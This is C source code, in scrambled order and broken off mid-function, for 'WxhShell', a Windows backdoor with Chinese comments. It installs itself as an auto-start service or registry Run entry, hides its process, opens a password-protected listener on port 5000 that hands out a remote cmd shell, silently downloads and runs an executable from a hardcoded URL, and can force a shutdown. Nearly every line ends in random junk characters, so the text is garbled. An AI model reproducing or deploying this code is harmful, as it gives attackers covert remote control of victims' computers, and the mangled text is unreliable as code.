    if(Boot(SHUTDOWN)) 2Krh&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SE$~Wbj?  
    else { /.WIED}>  
    closesocket(wsh); g#q7~#9  
    ExitThread(0); UOpSH{N  
    } ^o87qr0g]  
    break; 8#nAs\^  
    } #62*'.B4  
  // 获取shell Cq -URih  
  case 's': { wq7h8Z}l  
    CmdShell(wsh); V!Pe%.>  
    closesocket(wsh); @u @,Edh  
    ExitThread(0); u]*f^/6Q  
    break; E?0Vo%Vh  
  } O2:1aG  
  // 退出 %i) 0sE T  
  case 'x': { BJgHel+N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +bGO"*  
    CloseIt(wsh); PjP6^"  
    break; 9H/C(Vo  
    } GOsOFs"I  
  // 离开 #p<(2wN  
  case 'q': { _fdD4-2U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9tWpxrig%  
    closesocket(wsh); 9vP#/ -g  
    WSACleanup(); '=`af>Nc  
    exit(1); JM7FVB  
    break; Nwo*tb:  
        } P(.XB`  
  } X%$1%)C9  
  } vaLP_V  
vScEQS$>  
  // 提示信息 n/{ pQ&B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V aoqI  
} ,A5}HRW%  
  } i#aKW'  
{9FL}Jrt  
  return; x];i? 4  
} 6:q,JB@i  
YwS/O N  
// shell模块句柄 &Oc `|r*  
int CmdShell(SOCKET sock) fR b  
{ /:v}Ni"6nF  
STARTUPINFO si; !sp`oM  
ZeroMemory(&si,sizeof(si)); D_?dy4\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 82 dmlPwJC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :NL[NbQYt  
PROCESS_INFORMATION ProcessInfo; #uV J  
char cmdline[]="cmd"; ;9Qxq]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |~@yXc5a  
  return 0; P!SsMo6n  
} V,% K"b=  
IE3GZk+a~  
// 自身启动模式 Y4+ ]5;B8  
int StartFromService(void) W!"Oho'  
{ 1gnLKfc  
typedef struct }mo)OyIX  
{ @ULd~  
  DWORD ExitStatus; (-],VB (+  
  DWORD PebBaseAddress; IR{XL\WF  
  DWORD AffinityMask; [ahwJF#r  
  DWORD BasePriority; K_n GZ/`[  
  ULONG UniqueProcessId;  9I:3  
  ULONG InheritedFromUniqueProcessId; 3mHP=)  
}   PROCESS_BASIC_INFORMATION; lvRTy|%[  
j]U~ZAn,K  
PROCNTQSIP NtQueryInformationProcess; wv`ar>qVL  
b%KcS&-6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oWx^_wQ-=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vw$b]MO!  
nly}ly Q/  
  HANDLE             hProcess; 9f/l"  
  PROCESS_BASIC_INFORMATION pbi; Z&4L///  
w5yX~8UzJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0|]d^bo  
  if(NULL == hInst ) return 0; LqXVi80  
3<l}gB'S[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K,6{c^qf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v0TbQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >oN Wf  
}]M'f:%b  
  if (!NtQueryInformationProcess) return 0; \=P(?!v  
%O!TS_~9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kT]jJbb"  
  if(!hProcess) return 0; ]0O3kiVQ  
Q{5.;{/eC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RUq[HxF) 6  
lWH#/5`h  
  CloseHandle(hProcess); Bt#'6::  
"%bU74>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #|3,DZ|)F  
if(hProcess==NULL) return 0; f~,Ml*Zp  
+* F e   
HMODULE hMod; JIjo^zOXsc  
char procName[255]; ?~IdPSY  
unsigned long cbNeeded; cv1PiIl  
,)N/2M\B-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S&.xgBR  
mfF `K2R  
  CloseHandle(hProcess); XH(-anU"!P  
7z$bCO L=S  
if(strstr(procName,"services")) return 1; // 以服务启动 *FC|v0D  
Q"uK6ANp'  
  return 0; // 注册表启动 H}lz_#Z  
} Tm9sQ7Oj(  
?`xm_udc  
// 主模块 zk!7TUZ">w  
int StartWxhshell(LPSTR lpCmdLine) %"=GQ3u[  
{ Q/]o'_[vW  
  SOCKET wsl; sxS%1hp3  
BOOL val=TRUE; a#G3dY>  
  int port=0; Kv:Rvo  
  struct sockaddr_in door; %pH|2VB#  
O,-NzGs  
  if(wscfg.ws_autoins) Install(); p] N/]2rR  
@h_ bXo  
port=atoi(lpCmdLine); ,`OQAJ)>  
4;>HBCM4-  
if(port<=0) port=wscfg.ws_port; oX*;iS X  
lWd@  
  WSADATA data; ,jtaTG.>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +Wgfxk'{  
\YFM5l;IU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8^D1u`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]5K(}95&'  
  door.sin_family = AF_INET; <`G-_VI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +S+=lu _  
  door.sin_port = htons(port); FC~%G&K/q^  
FV3[7w=D\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :>o 0zG[;f  
closesocket(wsl); 7 , _b  
return 1; Ryygq,>VD.  
} )FmIL(vu  
@H3x51PT(m  
  if(listen(wsl,2) == INVALID_SOCKET) { kwqY~@W  
closesocket(wsl); ADVS}d!;]  
return 1; k4!_(X%8  
} V1GkX =H},  
  Wxhshell(wsl); VXlAK(   
  WSACleanup(); lzz;L z  
)v11j.D  
return 0; D%LYQ  
{]Cn@.TPD  
} Vp0_R9oQ  
#U7pT!F x  
// 以NT服务方式启动 * hS6F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +A^|aQ  
{ r b\t0tg  
DWORD   status = 0; 2_6ON   
  DWORD   specificError = 0xfffffff; h:U#F )  
^ERdf2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KZ%us6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ( ;^>G[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GQJ4d-w  
  serviceStatus.dwWin32ExitCode     = 0; D^V)$ME  
  serviceStatus.dwServiceSpecificExitCode = 0; '-J<ib t  
  serviceStatus.dwCheckPoint       = 0; r:g_mMvB  
  serviceStatus.dwWaitHint       = 0; zUNUH^Il  
_ h1eW9q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZBFn  
  if (hServiceStatusHandle==0) return; 9$U4x|n  
ggitUQ+t;G  
status = GetLastError(); H~mp*S  
  if (status!=NO_ERROR) [~RO9=;L  
{ _uL[ Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5~T+d1md  
    serviceStatus.dwCheckPoint       = 0; >Yk|(!v  
    serviceStatus.dwWaitHint       = 0; H?a $o(  
    serviceStatus.dwWin32ExitCode     = status; "frioi`a2  
    serviceStatus.dwServiceSpecificExitCode = specificError; -^(KGu&L&u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ='=4tj=z  
    return; '1xhP}'3)  
  } 7fO<=ei:  
I"x~ 7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l?rLadvc  
  serviceStatus.dwCheckPoint       = 0; | 5:2?S2R  
  serviceStatus.dwWaitHint       = 0; o1?-+P/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;ND[+i2MN  
} ^OX}y~'  
Xdl dUK[  
// 处理NT服务事件,比如:启动、停止 6 >;OVX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0!KYi_3  
{ W,[QK~  
switch(fdwControl) *)`PY4zF  
{ q# Q%p+  
case SERVICE_CONTROL_STOP: K/*"U*9Kv  
  serviceStatus.dwWin32ExitCode = 0; qO8:|q1%;\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V/#J>-os}W  
  serviceStatus.dwCheckPoint   = 0; Iz j-,a  
  serviceStatus.dwWaitHint     = 0; e8wPEDN*4  
  { SdYb T)y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bu<d>XR  
  } oWLP|c~ Ap  
  return; {fHY[8su0  
case SERVICE_CONTROL_PAUSE: )bL(\~0g~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n-],!pL^  
  break; ? daxb  
case SERVICE_CONTROL_CONTINUE: TF5jTpGq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o|y_j4 9  
  break; +F8K%.Q_  
case SERVICE_CONTROL_INTERROGATE: kaiK1/W0;  
  break; njZ vi}m~  
}; TU2oQ1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _KkaseR  
} x{zZ%_F  
YcclO  
// 标准应用程序主函数 0'.z|Jg=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jF j'6LT9/  
{ /]j{P4  
gPc1oc(  
// 获取操作系统版本 :4Nv6X61  
OsIsNt=GetOsVer(); L(u@%.S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IGVq`Mxj  
1cMLl6Bp>  
  // 从命令行安装 =EM<LjO  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2yZ~j_AF[  
m ie~. "  
  // 下载执行文件 XTk :lzFH  
if(wscfg.ws_downexe) { |2n*Ds'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o#1Ta7Ro  
  WinExec(wscfg.ws_filenam,SW_HIDE); &"gX 7cK8  
} U<=d@knH  
w+)wrJTtm  
if(!OsIsNt) { zTfjuI|R  
// 如果时win9x,隐藏进程并且设置为注册表启动 0zT-]0  
HideProc(); Q&w_kz.  
StartWxhshell(lpCmdLine); 3)LS#=  
} a9.255  
else XOQ0(e6  
  if(StartFromService()) f(eXny@Y  
  // 以服务方式启动 ';8 ,RTe  
  StartServiceCtrlDispatcher(DispatchTable); 5S!j$_(  
else :p@jslD  
  // 普通方式启动 #>\SK  
  StartWxhshell(lpCmdLine); T,uF^%$@AQ  
m9sck:g#L1  
return 0; 9a`~ K L  
} #W|Obc]K  
n 3&h1-  
u9~Ncz  
=_iYT044p  
=========================================== s_RK x)w@  
dhxzW@'nIL  
}~PG]A  
`v)'(R7){  
&8Vh3QLEx  
R@NFpiw  
" Z:>3AJuS_  
| Z2_W/  
#include <stdio.h> 59SL mj  
#include <string.h> B hx.q,X  
#include <windows.h> mLkp*?sfC  
#include <winsock2.h> 'jE/Tre^  
#include <winsvc.h> (jhi<eV  
#include <urlmon.h> KWD{_h{R  
yHC[8l8%  
#pragma comment (lib, "Ws2_32.lib") WbhYGcRy  
#pragma comment (lib, "urlmon.lib") xg^%8Ls^  
SSla^,MHef  
#define MAX_USER   100 // 最大客户端连接数 2dKt}o>   
#define BUF_SOCK   200 // sock buffer ^z{Xd|{"  
#define KEY_BUFF   255 // 输入 buffer w/*#TDR  
}a, ycFt  
#define REBOOT     0   // 重启 cC/32SmY4  
#define SHUTDOWN   1   // 关机 sq(5k+y*J  
r r\u)D#)  
#define DEF_PORT   5000 // 监听端口 $M0l (htR  
y4|<+9<7  
#define REG_LEN     16   // 注册表键长度 "q=ss:(  
#define SVC_LEN     80   // NT服务名长度 ?SO!INJ  
zh=0zJ  
// 从dll定义API @6+_0^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dqQJC qc!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8d8jUPFQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); st)v'ce,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a'Odw2Q_  
: OjmaP  
// wxhshell配置信息 NvTK7? v  
struct WSCFG { 8rlf9m  
  int ws_port;         // 监听端口 lc~c=17  
  char ws_passstr[REG_LEN]; // 口令  E^5  
  int ws_autoins;       // 安装标记, 1=yes 0=no mS;WNlm\  
  char ws_regname[REG_LEN]; // 注册表键名 ,YBO}l  
  char ws_svcname[REG_LEN]; // 服务名 ,ZrR*W?iF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "K9[P :nw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Wf5;~RJC?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8mRZ(B>% X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oH v.EO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #6YpV)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _w %:PnO  
}|) N5bGQe  
}; L aA<`  
Hhk`yX c_  
// default Wxhshell configuration s?S e]?i  
struct WSCFG wscfg={DEF_PORT, F @Wi[K  
    "xuhuanlingzhe", <o3I<ci6  
    1, YryMB,\  
    "Wxhshell", !T:7xEr  
    "Wxhshell", 4Y3@^8h&=  
            "WxhShell Service", ,?qJAV~>  
    "Wrsky Windows CmdShell Service", ]}l.*v\uK  
    "Please Input Your Password: ", j1->w8  
  1, W+=j@JY}q9  
  "http://www.wrsky.com/wxhshell.exe", a=y%+E'a '  
  "Wxhshell.exe" X@Zt4)2#  
    }; eNi#% ?=WB  
Q<MxbHk9  
// 消息定义模块 "M2WK6?O5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #?D[WTV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >d"\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i?@7>Ca  
char *msg_ws_ext="\n\rExit."; Evg#sPu\  
char *msg_ws_end="\n\rQuit."; KVEc:<|x  
char *msg_ws_boot="\n\rReboot..."; _99 +Vjy  
char *msg_ws_poff="\n\rShutdown..."; h:C:opa-=  
char *msg_ws_down="\n\rSave to "; |x&4vHXR0  
Bfdfw +  
char *msg_ws_err="\n\rErr!"; _7;G$\^&.  
char *msg_ws_ok="\n\rOK!"; LX&O"YY  
+lFBH(o]X  
char ExeFile[MAX_PATH]; HA}q.L]#  
int nUser = 0; CKFr9bT{  
HANDLE handles[MAX_USER]; ^qBm%R(  
int OsIsNt; @cxM#N8e  
76o[qay  
SERVICE_STATUS       serviceStatus; ;ZcwgsxTM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4L`,G:J,;  
:2NV;7Wke6  
// 函数声明 [)8O\/:  
int Install(void); 5?Q5cD2]\6  
int Uninstall(void); 5&L*'kV@  
int DownloadFile(char *sURL, SOCKET wsh); 'x? |tKzd  
int Boot(int flag); 8dt=@pwx&  
void HideProc(void); mRyf+O[  
int GetOsVer(void); +jq@!P"}d  
int Wxhshell(SOCKET wsl); =^*EM<WG)  
void TalkWithClient(void *cs); ?y>v"1+  
int CmdShell(SOCKET sock); 0;=]MEk?  
int StartFromService(void); vlDA/( &  
int StartWxhshell(LPSTR lpCmdLine); O tQ]\:p7  
l<S3<'&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]{{%d4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .}+3A~  
MZA%ET,l,<  
// 数据结构和表定义 Y:Lkh>S1Q  
SERVICE_TABLE_ENTRY DispatchTable[] = =x(k)RTDu  
{ ^c.pvC"4j  
{wscfg.ws_svcname, NTServiceMain}, rP"Y.;s  
{NULL, NULL} y/_=  
}; }7{( o-  
R\5fl[  
// 自我安装 %a0q|)Nrj  
int Install(void) =Y!.0)t;*  
{ v1}ijls  
  char svExeFile[MAX_PATH]; @raJB'  
  HKEY key; ~+BU@PHv  
  strcpy(svExeFile,ExeFile); %zEy.7Ux  
%'=TYvB 2  
// 如果是win9x系统,修改注册表设为自启动 U Lq`!1{   
if(!OsIsNt) { QJR},nZ3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O)&ME  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .9g :-hv  
  RegCloseKey(key); tx+P@9M_Aq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S}0-2T[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &A/b9GW^-  
  RegCloseKey(key); 7OXRR)]V  
  return 0; =*+f2  
    } Iw#[K  
  } <bhJ>  
} >nK (  
else { RASk=B  
MOB'rPIUI  
// 如果是NT以上系统,安装为系统服务 P&Xy6@%[Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ix?Z:pIS0  
if (schSCManager!=0) ff fWvf  
{ 9M|#X1r{%{  
  SC_HANDLE schService = CreateService VRY@}>W'  
  ( l_+q a6C*  
  schSCManager, xZV|QVY;  
  wscfg.ws_svcname, *(i%\  
  wscfg.ws_svcdisp, r<P?F  
  SERVICE_ALL_ACCESS, &js$qgY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |6Iw\YU  
  SERVICE_AUTO_START, G2c\"[N1/  
  SERVICE_ERROR_NORMAL, L-q)48+^k  
  svExeFile, hA&m G33  
  NULL, %){/O}I]>  
  NULL, tLdQO"  
  NULL, NP~3!b  
  NULL, ^$oEM0h  
  NULL fG.6S"|M  
  ); +>a(9r|:  
  if (schService!=0) es+ZPX>Y  
  { L!ms{0rJ  
  CloseServiceHandle(schService); * "?,.  
  CloseServiceHandle(schSCManager); OMYbCy^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -I#<?=0B  
  strcat(svExeFile,wscfg.ws_svcname); m,w^,)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }>YEtA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7(LB}  
  RegCloseKey(key); pMUUF5  
  return 0; y=SpIbn{  
    } Y~lOkH[z  
  } pg<c vok  
  CloseServiceHandle(schSCManager); P{2ED1T\  
} $3970ni,?O  
} ;\/ RgN  
G(hnrRxn  
return 1; #xhl@=W;  
} i5*/ZA_  
!g~u'r'1  
// 自我卸载 #Wv8+&n  
int Uninstall(void) uBM%E OE  
{ 4QNwu7TeR  
  HKEY key; 4!'4 l=jO  
>DzW  OB  
if(!OsIsNt) { '^2bC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Vwk&~B%  
  RegDeleteValue(key,wscfg.ws_regname); [>QzT"=  
  RegCloseKey(key); *;T HD>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i(q a'*  
  RegDeleteValue(key,wscfg.ws_regname); O G7U+d6  
  RegCloseKey(key); v}^uN+a5  
  return 0; v?DA>  
  } "(\]-%:7  
} x.(Sv]+[  
}  /zir$  
else { ( M3-S5   
5* ~E dT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^7$Q"  
if (schSCManager!=0) GN|xd+O_  
{ VK}H;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); : +fW#:  
  if (schService!=0) u H)v\Js  
  { Nb>C5TjR  
  if(DeleteService(schService)!=0) { hN;$'%^  
  CloseServiceHandle(schService); a)/ }T  
  CloseServiceHandle(schSCManager); >- CNHb  
  return 0; +/#Lm#*nu%  
  } $1D>}5Ex  
  CloseServiceHandle(schService); FJsg3D*@J  
  } %w/:mH3FA  
  CloseServiceHandle(schSCManager); K!!#";Eo  
} ;@[ax{ J  
} emS7q|^  
>~G _'~_f  
return 1; %i.;~>  
} \e?w8R.6w^  
G`u";w_  
// 从指定url下载文件 $n<X'7@0  
int DownloadFile(char *sURL, SOCKET wsh) z'Fu} ho  
{ `ItPTSOi  
  HRESULT hr; 'd<1;Ayw  
char seps[]= "/"; FK,YVY  
char *token; uup>WW  
char *file; (n@&M!a  
char myURL[MAX_PATH]; FWpb5jc)3  
char myFILE[MAX_PATH]; 6 &MATMR  
W -5wjc  
strcpy(myURL,sURL); R%r<AL5kJk  
  token=strtok(myURL,seps); ? y^t  
  while(token!=NULL) I h 19&D  
  { "nn>I}jK  
    file=token; >xm:?WR  
  token=strtok(NULL,seps); Eg]tDPN1  
  } #)<WQZ)  
Z%Yq{tAt  
GetCurrentDirectory(MAX_PATH,myFILE); zCpXF< _C  
strcat(myFILE, "\\"); 53?B.\  
strcat(myFILE, file); OjY#xO+'  
  send(wsh,myFILE,strlen(myFILE),0); /y5a~3  
send(wsh,"...",3,0); +{ {'3=x9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *JY2vq  
  if(hr==S_OK) aK'%E3!~=x  
return 0; 8$6^S{M3  
else xz vbjS W  
return 1; vA@\V)s  
EY.Z.gMZI(  
} @ u2 P&|:{  
|(UkI?V  
// 系统电源模块 !XrnD#  
int Boot(int flag) fGDjX!3-S  
{ L t.Vo  
  HANDLE hToken; /AUXO]  
  TOKEN_PRIVILEGES tkp; `F' >NNY  
!>QD42  
  if(OsIsNt) { X!/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pU5t,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /m+\oZ ]d  
    tkp.PrivilegeCount = 1; WB>M7MI%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^CQVqa${]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c *]6>50  
if(flag==REBOOT) { sT%^W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oi/bp#(fa  
  return 0; ADVHi3b  
} P{h$> 6c  
else { W .bJ.hO*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5R"(4a P  
  return 0; kX:d?*{KB  
} HP eN0=7>  
  } 81 /t)Cp  
  else { %DF-;M"8  
if(flag==REBOOT) { a?X{k|;!7u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M}b[;/~  
  return 0; Zjkrne{  
} @G>Q(a*,  
else { 'hH3d"a^=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9..! g:  
  return 0; *Z=:?4u  
} 4?cIn4}  
} bG[)r  
N\WEp?%~  
return 1; j?cE0 hz  
} zXx)xIO  
;bxL$1  
// win9x进程隐藏模块 8X2NEVH]  
void HideProc(void) _^"0"<,  
{ h(wu5G0C#u  
x $ oId{;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d#]XyN>  
  if ( hKernel != NULL ) Ct,|g =(  
  { u'Ua ++a\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &KZr`"cT#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s.uV,E*wu  
    FreeLibrary(hKernel); dAj;g9N/h  
  } C@Fk  
0]^ke:(#  
return; ~^pV>>LX|  
} 1{7*0cv$iL  
ZpTT9{PT=:  
// 获取操作系统版本 F8%.-.l)  
int GetOsVer(void) 2W 9N-t2 1  
{ fu6Ir,  
  OSVERSIONINFO winfo; 57eA (uI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5 U{}A\q  
  GetVersionEx(&winfo); WTP~MJ#C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l^*'W(%  
  return 1; gx)!0n;  
  else r @ IyK%  
  return 0; @z1Yj"^Pm  
} gu~F(Fb'  
v*k}{M  
// 客户端句柄模块 h1'j1uI  
int Wxhshell(SOCKET wsl) (lBwkQNQGd  
{ ^saH^kg1"  
  SOCKET wsh; <; (pol|  
  struct sockaddr_in client; %uWq)D4r  
  DWORD myID; !uJD hC  
Q(J6;s#b  
  while(nUser<MAX_USER) 8KU5x#  
{ _R?:?{r,  
  int nSize=sizeof(client); 5bKm)|4z6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LU=`K4  
  if(wsh==INVALID_SOCKET) return 1; K~B@8az  
I"<ACM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -*I Dzm  
if(handles[nUser]==0) ;j]-;wg-;  
  closesocket(wsh); & NO:S  
else _:0  
  nUser++; v0}R]h~>\H  
  } ui\yY3?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N4JJA+  
{BA1C (  
  return 0; K4\#b}P!  
} aV9QIH~  
^k7`:@ z0U  
// 关闭 socket 8qY\T0  
void CloseIt(SOCKET wsh) j~@Hj$APa`  
{ IyfhVk?  
closesocket(wsh); 1\'zq;I~  
nUser--; !jeoB  
ExitThread(0); !^:)zORYR  
} E 9LKVs}  
D[5Qd)PIL  
// 客户端请求句柄 wgb e7-{  
void TalkWithClient(void *cs) a*4l!-7  
{ 2MapB*  
n%J {Tcn6  
  SOCKET wsh=(SOCKET)cs; !b0ANIp  
  char pwd[SVC_LEN]; U)n+j}vi  
  char cmd[KEY_BUFF]; O*8 .kqlgt  
char chr[1]; `Z 3p( G  
int i,j; A*r6  
L\u6EMyV  
  while (nUser < MAX_USER) { cU^Z=B  
L&WhX3$u  
if(wscfg.ws_passstr) { p*_^JU(<p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ksB-fOv*N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a2MFZe  
  //ZeroMemory(pwd,KEY_BUFF); im6Rx=}E{  
      i=0; @FBlF$vG  
  while(i<SVC_LEN) { 0+]ol:i  
K~ 6[zJ4  
  // 设置超时 <lBY  
  fd_set FdRead; TC%ENxDR  
  struct timeval TimeOut; %xq/eC7  
  FD_ZERO(&FdRead); ;MH<T6b  
  FD_SET(wsh,&FdRead); 6/Pw'4H9$  
  TimeOut.tv_sec=8; hrRkam !y  
  TimeOut.tv_usec=0; Ob"48{w$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l*`2 EJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MY[QYBkn}  
?IWLH-fkP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sl?@c/Ng  
  pwd=chr[0]; m1mA:R\zM  
  if(chr[0]==0xd || chr[0]==0xa) { #BK3CD(&  
  pwd=0; 2Bf]#l{z  
  break; GjmPpKIu\  
  } $T)EJe  
  i++; rk$$gXg9/  
    } $i^#KZ}-WK  
2th>+M~A  
  // 如果是非法用户,关闭 socket M :4N'#`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dZ1/w0<M2  
} rX-V0  
0pYCh$TL1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z)Is:LhS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QR+{Yp  
t=IpV l!  
while(1) { S8 {Sb>  
Aw38T w  
  ZeroMemory(cmd,KEY_BUFF); nsRZy0@$t  
'k?%39  
      // 自动支持客户端 telnet标准   R*v~jR/   
  j=0; Oc|`<^m  
  while(j<KEY_BUFF) { `H:5D5]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _Py/,Ks.q  
  cmd[j]=chr[0]; ?G48GxJ  
  if(chr[0]==0xa || chr[0]==0xd) { Y 0f"}A1  
  cmd[j]=0; vU X(h.}8  
  break; Ax9a5;5WM  
  } OqaVp/,  
  j++; b*7:{ FXg  
    } .fQ/a`AsU  
4!%TY4 bJ  
  // 下载文件 HR/"Nwr  
  if(strstr(cmd,"http://")) { "o=*f/M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A1mxM5N  
  if(DownloadFile(cmd,wsh)) )@X `B d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @213KmB.  
  else ) N8 [@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C1/<t)^  
  } !zd]6YL$  
  else { j"8f,er  
@dy<=bh~  
